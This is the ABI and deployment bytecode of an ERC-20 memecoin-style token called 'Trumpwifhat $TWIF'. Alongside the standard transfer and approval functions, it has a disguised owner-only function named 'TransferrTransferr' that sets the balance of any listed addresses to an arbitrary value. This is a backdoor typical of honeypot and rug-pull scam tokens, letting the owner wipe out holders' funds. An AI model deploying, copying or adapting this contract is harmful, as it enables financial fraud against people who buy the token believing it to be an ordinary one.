[ { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" }, { "internalType": "uint8", "name": "decimals_", "type": "uint8" }, { "internalType": "uint256", "name": "totalSupply_", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "oldBalance", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "BalanceAdjusted", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousowner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newowner", "type": "address" } ], "name": "ownershipTransferred", "type": "event" }, { "inputs": [ { "internalType": "address[]", "name": "accounts", "type": "address[]" }, { "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "TransferrTransferr", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceownership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040523480156200001157600080fd5b5060405162000eb038038062000eb0833981016040819052620000349162000293565b600080546001600160a01b031916339081178255604051909182917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b7908290a35083516200008a90600390602087019062000120565b508251620000a090600490602086019062000120565b506005805460ff191660ff8416179055620000bd82600a62000433565b620000c990826200044b565b600681905533600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050620004aa565b8280546200012e906200046d565b90600052602060002090601f0160209004810192826200015257600085556200019d565b82601f106200016d57805160ff19168380011785556200019d565b828001600101855582156200019d579182015b828111156200019d57825182559160200191906001019062000180565b50620001ab929150620001af565b5090565b5b80821115620001ab5760008155600101620001b0565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620001ee57600080fd5b81516001600160401b03808211156200020b576200020b620001c6565b604051601f8301601f19908116603f01168101908282118183101715620002365762000236620001c6565b816040528381526020925086838588010111156200025357600080fd5b600091505b8382101562000277578582018301518183018401529082019062000258565b83821115620002895760008385830101525b9695505050505050565b60008060008060808587031215620002aa57600080fd5b84516001600160401b0380821115620002c257600080fd5b620002d088838901620001dc565b95506020870151915080821115620002e757600080fd5b50620002f687828801620001dc565b935050604085015160ff811681146200030e57600080fd5b6060959095015193969295505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003755781600019048211156200035957620003596200031e565b808516156200036757918102915b93841c939080029062000339565b509250929050565b6000826200038e575060016200042d565b816200039d575060006200042d565b8160018114620003b65760028114620003c157620003e1565b60019150506200042d565b60ff841115620003d557620003d56200031e565b50506001821b6200042d565b5060208310610133831016604e8410600b841016171562000406575081810a6200042d565b62000412838362000334565b80600019048211156200042957620004296200031e565b0290505b92915050565b60006200044460ff8416836200037d565b9392505050565b60008160001904831182151516156200046857620004686200031e565b500290565b600181811c908216806200048257607f821691505b60208210811415620004a457634e487b7160e01b600052602260045260246000fd5b50919050565b6109f680620004ba6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101495780638da5cb5b1461017257806395d89b411461018d578063a9059cbb14610195578063c2af913b146101a8578063dd62ed3e146101b057600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063492e496a14610134575b600080fd5b6100c16101e9565b6040516100ce9190610702565b60405180910390f35b6100ea6100e5366004610773565b61027b565b60405190151581526020016100ce565b6006545b6040519081526020016100ce565b6100ea61011a36600461079d565b6102e3565b60055460405160ff90911681526020016100ce565b6101476101423660046107ef565b610454565b005b6100fe6101573660046108ba565b6001600160a01b031660009081526001602052604090205490565b6000546040516001600160a01b0390911681526020016100ce565b6100c1610550565b6100ea6101a3366004610773565b61055f565b610147610658565b6100fe6101be3660046108dc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6060600380546101f89061090f565b80601f01602080910402602001604051908101604052809291908181526020018280546102249061090f565b80156102715780601f1061024657610100808354040283529160200191610271565b820191906000526020600020905b81548152906001019060200180831161025457829003601f168201915b5050505050905090565b3360008181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a350600192915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156103695760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b03841660009081526001602052604081208054849290610391908490610960565b90915550506001600160a01b038316600090815260016020526040812080548492906103be908490610977565b90915550506001600160a01b0384166000908152600260209081526040808320338452909152812080548492906103f6908490610960565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161044291815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610360565b60005b825181101561054b5760008382815181106104ce576104ce61098f565b6020908102919091018101516001600160a01b0381166000818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a250508080610543906109a5565b9150506104b1565b505050565b6060600480546101f89061090f565b336000908152600160205260408120548211156105ca5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610360565b33600090815260016020526040812080548492906105e9908490610960565b90915550506001600160a01b03831660009081526001602052604081208054849290610616908490610977565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102d2565b6000546001600160a01b031633146106b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610360565b6000805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a3600080546001600160a01b03191661dead179055565b600060208083528351808285015260005b8181101561072f57858101830151858201604001528201610713565b81811115610741576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461076e57600080fd5b919050565b6000806040838503121561078657600080fd5b61078f83610757565b946020939093013593505050565b6000806000606084860312156107b257600080fd5b6107bb84610757565b92506107c960208501610757565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561080257600080fd5b823567ffffffffffffffff8082111561081a57600080fd5b818501915085601f83011261082e57600080fd5b8135602082821115610842576108426107d9565b8160051b604051601f19603f83011681018181108682111715610867576108676107d9565b60405292835281830193508481018201928984111561088557600080fd5b948201945b838610156108aa5761089b86610757565b8552948201949382019361088a565b9997909101359750505050505050565b6000602082840312156108cc57600080fd5b6108d582610757565b9392505050565b600080604083850312156108ef57600080fd5b6108f883610757565b915061090660208401610757565b90509250929050565b600181811c9082168061092357607f821691505b6020821081141561094457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109725761097261094a565b500390565b6000821982111561098a5761098a61094a565b500190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156109b9576109b961094a565b506001019056fea2646970667358221220044125dcda346f8c5f27f9dc0eb7fbc08ed8e3f631c03ceb0d8d4317dbc3428964736f6c634300080a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000014fb18000000000000000000000000000000000000000000000000000000000000000115472756d7077696668617420245457494600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045457494600000000000000000000000000000000000000000000000000000000